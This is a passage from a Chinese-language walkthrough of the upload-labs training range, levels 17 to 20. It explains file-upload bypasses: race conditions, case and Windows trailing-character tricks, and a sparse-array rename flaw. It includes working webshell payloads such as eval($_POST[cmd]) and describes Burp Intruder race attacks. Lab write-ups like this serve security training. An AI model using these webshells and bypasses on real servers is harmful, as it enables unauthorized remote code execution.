ord($short[1]);}return $short;}public function eof() {return !$this-binData||(strlen($this-binData) 0);}}?
但是这个脚本运行之前要先准备一张1.jpg图片然后运行脚本 然后就跟png的处理方式一样了
pass-17
代码审计 这一关是一个逻辑漏洞由此就会产生竞争型漏洞来看下面的代码 $is_upload false;$msg null;if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_name $_FILES[upload_file][name];$temp_file $_FILES[upload_file][tmp_name];$file_ext substr($file_name,strrpos($file_name,.)1);$upload_file UPLOAD_PATH . / . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path UPLOAD_PATH . /. rand(10, 99).date(YmdHis)...$file_ext;rename($upload_file, $img_path);$is_upload true;}else{$msg 只允许上传.jpg|.png|.gif类型文件;unlink($upload_file);}}else{$msg 上传出错;}}
看第二个if判断里面漏洞就在这里它先判断文件是否在白名单里如果不在就不允许上传并删除反之允许上传。
在它判断出不允许上传到删除这个时间间隙里我们可以竞争。
即在它判断并且还没有改名的极短时间内我们可以访问到这个文件如果这个文件的php代码是在当前目录的上一级目录生成我们的实际payload那么即使它判断完毕把我们先上传的文件删除也没关系因为我们已经生成一个实际的payload在上一级目录了而这个目录它是删不了的这样我们就成功上传webshell了。
文件上传
1. 准备php文件 ?php fputs(fopen(../webshell.php,w),?php eval($_POST[cmd]);)?);
2. 上传
人跟程序竞争基本搞不了所以使用Burp抓包。
再靶场上传之后使用Burp抓包然后发给Intruder模块然后不停的发包然后再浏览器不停的访问具体操作如下 抓包改包 验证 pass-18
代码审计
//index.php$is_upload false;$msg null;if (isset($_POST[submit])){require_once(./myupload.php);$imgFileName time();$u new MyUpload($_FILES[upload_file][name], $_FILES[upload_file][tmp_name], $_FILES[upload_file][size],$imgFileName);$status_code $u-upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload true;$img_path $u-cls_upload_dir . $u-cls_file_rename_to;break;case 2:$msg 文件已经被上传但没有重命名。;break; case -1:$msg 这个文件不能上传到服务器的临时文件存储目录。;break; case -2:$msg 上传失败上传目录不可写。;break; case -3:$msg 上传失败无法上传该类型文件。;break; case -4:$msg 上传失败上传的文件过大。;break; case -5:$msg 上传失败服务器已经存在相同名称文件。;break; case -6:$msg 文件无法上传文件不能复制到目标目录。;break; default:$msg 未知错误;break;}}//myupload.phpclass MyUpload{.................. var $cls_arr_ext_accepted array(.doc, .xls, .txt, .pdf, .gif, .jpg, .zip, .rar, .7z,.ppt,.html, .xml, .tiff, .jpeg, .png );.................. /** upload()**** Method to upload the file.** This is the only method to call outside the class.** para String name of directory we upload to** returns void**/function upload( $dir ){$ret $this-isUploadedFile();if( $ret ! 1 ){return $this-resultUpload( $ret );}$ret $this-setDir( $dir );if( $ret ! 1 ){return $this-resultUpload( $ret );}$ret $this-checkExtension();if( $ret ! 1 ){return $this-resultUpload( $ret );}$ret $this-checkSize();if( $ret ! 1 ){return $this-resultUpload( $ret ); }// if flag to check if the file exists is set to 1if( $this-cls_file_exists 1 ){$ret $this-checkFileExists();if( $ret ! 1 ){return $this-resultUpload( $ret ); }}// if we are here, we are ready to move the file to destination$ret $this-move();if( $ret ! 1 ){return $this-resultUpload( $ret ); }// check if we need to rename the fileif( $this-cls_rename_file 1 ){$ret $this-renameFile();if( $ret ! 1 ){return $this-resultUpload( $ret ); }}// if we are here, everything worked as planned :)return $this-resultUpload( SUCCESS );}.................. };
这个代码看起来很多但是对我们来说重点在这里
$ret $this-move();if( $ret ! 1 ){return $this-resultUpload( $ret ); }// check if we need to rename the fileif( $this-cls_rename_file 1 ){$ret $this-renameFile();if( $ret ! 1 ){return $this-resultUpload( $ret ); }}
这里就表明了它的处理逻辑还是先上传再重命名这样又会出现一个时间间隙我们又可以竞争。
只不过有了一个白名单的限制我们不能上传.php文件了不过可以上传图片码但是图片码也不能解析还需要一个文件包含。
文件上传
1. 准备图片码
?php fputs(fopen(../webshell.php,w),?php eval($_POST[cmd]););或?php file_put_contents(../wehshell.php,?php phpinfo(););文件保存为democompete.php然后使用copy命令构造图片码并重命名为1.jpg。然后上传。 然后在浏览器访问以下路径
http://10.128.133.182/upload-labs-env/WWW/include.php?fileupload/1.jpg
2. Burp抓包
因为时间间隙太短最好使用Burp一边不断发包一边配合python脚本不断访问指定URL。这样成功率更高。
抓包然后用Intruder模块持续发包 运行python脚本持续访问文件 3. 在文件夹里查看 pass-19
代码审计
$is_upload false;$msg null;if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(php,php5,php4,php3,php2,html,htm,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess);$file_name $_POST[save_name];$file_ext pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH . / .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload true;}else{$msg 上传出错;}}else{$msg 禁止保存为该类型文件;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}}
这里又是一个黑名单拦截但是我们观察它的黑名单并没有大写限制所以一种方法是把php的后写成大小写混合的样式比如.pHP
还有一种是利用php和windows文件系统的特性来做文章windows就是会把.、空格还有::$DATA自动去掉而php是因为move_upload_file()函数
这个函数会自动去掉文件末尾的/.。所以在上传的时候我们使用Burp抓包然后修改一下文件后缀那就可以成功。
文件上传
1. 大小写
准备这样一个php文件 然后就上传之后查看一下就可以验证了
上传 下面这张是上传之后的样子有那个破碎的图片样式就表示成功了 然后在文件夹查看一下 2. 添加后缀
直接上传一个php文件 然后使用Burp抓包把后缀改一下再放包然后文件夹验证一下
先加一个. 再加一个/ 可以看到都成功了
pass-20
代码审计
$is_upload false;$msg null;if(!empty($_FILES[upload_file])){//检查MIME$allow_type array(image/jpeg,image/png,image/gif);if(!in_array($_FILES[upload_file][type],$allow_type)){$msg 禁止上传该类型文件!;}else{//检查文件名$file empty($_POST[save_name]) ? $_FILES[upload_file][name] : $_POST[save_name];if (!is_array($file)) {$file explode(., strtolower($file));}$ext end($file);$allow_suffix array(jpg,png,gif);if (!in_array($ext, $allow_suffix)) {$msg 禁止上传该后缀文件!;}else{$file_name reset($file) . . . $file[count($file) - 1];$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH . / .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg 文件上传成功;$is_upload true;} else {$msg 文件上传失败;}}}}else{$msg 请选择要上传的文件;}
这一关有一点绕但是呢也还是比较简单。
它的逻辑是这样的
首先是一个前端检测 $allow_type array(image/jpeg,image/png,image/gif);if(!in_array($_FILES[upload_file][type],$allow_type)){$msg 禁止上传该类型文件!;}
检测通过了就判断我们传入的是不是一个数组如果不是那就把文件名以.分割进行数组化 if (!is_array($file)) {$file explode(., strtolower($file));}
然后取数组的最后一个元素也就是我们文件的后缀名进行一个白名单过滤 $ext end($file);$allow_suffix array(jpg,png,gif);if (!in_array($ext, $allow_suffix)) {$msg 禁止上传该后缀文件!;
检测通过了再把文件重命名回来 $file_name reset($file) . . . $file[count($file) - 1];
问题就出在这里这个count函数它在计算的时候如果遇到的数组是稀疏的某些索引未定义count() 只会计算已定义的索引也就是实际有值的索引。
正常来说我们传入的文件是abc.jpg经过数组化之后0下标是abc1下标是jpg它计算出2然后进行一个count($file) - 1
那么就会有$file[1]也就是jpg然后用reset函数取数组第一个元素也就是abc这样就正好再次组成文件名abc.jpg。然而如果在传入文件的时候我们通过Burp抓包构建一个稀疏数组
比如这样的 [web.php,,jpg]
那么在计算的时候得到的结果还是2然后又减去1这样就有$file[1]而这里的1下标为空是什么都没有。而不是null这样重命名那么最后文件的名称就是web.php.
而这个.又可以利用windows系统的文件特性去掉这样我们最终就可以得到web.php文件也就能成功实现上传webshell的目的。
文件上传
1. 上传 2. 抓包改包 这里1的位置要改为图示的内容因为这里是一个前端绕过不改的话不行具体见pass-02。
2的位置改为图示的数字下标为0
3、4部分是按照结构复制2部分得到的其中3的下标一定不要是1不然就没有意义了
而4的位置呢就根据白名单写写一个就好了
然后Send就可以了
3. 验证 这里可以看到info.php已经成功上传了